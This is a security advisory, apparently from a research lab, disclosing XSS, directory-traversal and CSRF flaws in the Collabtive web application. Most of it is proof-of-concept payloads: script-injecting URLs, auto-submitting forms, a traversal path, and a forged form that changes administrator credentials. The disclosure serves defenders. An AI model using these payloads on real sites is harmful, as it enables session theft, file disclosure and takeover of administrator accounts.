Multiple Vulnerabilities in Collabtive

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Collabtive which could be exploited to perform cross-site scripting and cross-site request forgery attacks and gain access to sensitive information.

1) Cross-site scripting (XSS) vulnerability in Collabtive
1.1 The vulnerability exists due to input sanitation error in the "id"parameter in managetimetracker.php and manageuser.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation examples:
http://host/managetimetracker.php?action=editform&tid=1&id=1"><script>alert( document.cookie)</script >
http://host/manageuser.php?action=profile&id=1"><script>alert(document.co okie)</script>
1.2 The vulnerability exists due to input sanitation error in the "name" parameter in manageproject.php and admin.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation examples:
<form action="http://host/manageproject.php?action=edit&id=1" method="post" name="main">
<input type="hidden" name="name" value='test"><script>alert(document.cookie)</script>'>
<input type="hidden" name="desc" value="Description">
<input type="hidden" name="end" value="16.03.2011">
</form>
<script>
document.main.submit();
</script>
<form action="http://host/admin.php?action=editsets" method="post" name="main" enctype="multipart/form-data">
<input type="hidden" name="name" value='Collabtive"><script>alert(document.cookie)</script>'>
<input type="hidden" name="subtitle" value="Projectmanagement">
<input type="hidden" name="locale" value="en">
<input type="hidden" name="timezone" value="Europe/Zurich">
<input type="hidden" name="rssuser" value="">
<input type="hidden" name="rsspass" value="">
<input type="hidden" name="dateformat" value="d.m.Y">
<input type="hidden" name="template" value="standard">
</form>
<script>
document.main.submit();
</script>

2) Directory traversal vulnerability in Collabtive
The vulnerability exists due to insufficient sanitation of input data in the "pic" parameter in thumb.php. A remote attacker can create a specially crafted HTTP request containing directory traversal sequences and view contents of arbitrary files on the target system.
Exploitation example:
http://host/thumb.php?pic=./../../../../../tmp/photo.jpg

3) Cross-site request forgery (CSRF) in Collabtive
The vulnerability exists due to insufficient validation of the request origin in admin.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify administrator`s credentials.
Exploitation example:
<form action="http://host/admin.php?action=edituser&id=USERID" method="post" name="main" enctype="multipart/form-data">
<input type="hidden" name="name" value="username">
<input type="hidden" name="email" value="email@example.com">
<input type="hidden" name="locale" value="en">
<input type="hidden" name="admin" value="">
<input type="hidden" name="newpass" value="">
<input type="hidden" name="repeatpass" value="">
<input type="hidden" name="role" value="1">
</form>
<script>
document.main.submit();
</script>